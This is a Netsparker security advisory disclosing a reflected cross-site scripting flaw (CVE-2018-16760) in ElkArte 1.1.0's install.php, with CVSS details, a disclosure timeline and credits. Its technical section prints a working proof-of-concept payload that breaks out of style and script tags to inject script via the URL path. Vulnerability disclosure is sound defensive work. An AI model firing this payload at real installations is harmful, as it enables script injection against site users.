Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in ElkArte
Affected Software: ElkArte
Affected Versions: 1.1.0
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVE-ID: CVE-2018-16760
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-060

Technical Details

URL  http://app.scan/ScanApp/Elkarte-Install/Elkarte-1.1.0/install/install.php/'"--></style></scRipt><scRipt>netsparker(0x0000D0)</scRipt>  
Proof URL  http://app.scan/ScanApp/Elkarte-Install/Elkarte-1.1.0/install/install.php/'"--></style></scRipt><scRipt>alert(0x0000D0)</scRipt>  
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x0000D0)</scRipt>  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

6th December 2018- First Contact
7th December 2018 - Details Sent
13th February 2019 - Last Attempt to Contact
4th March 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.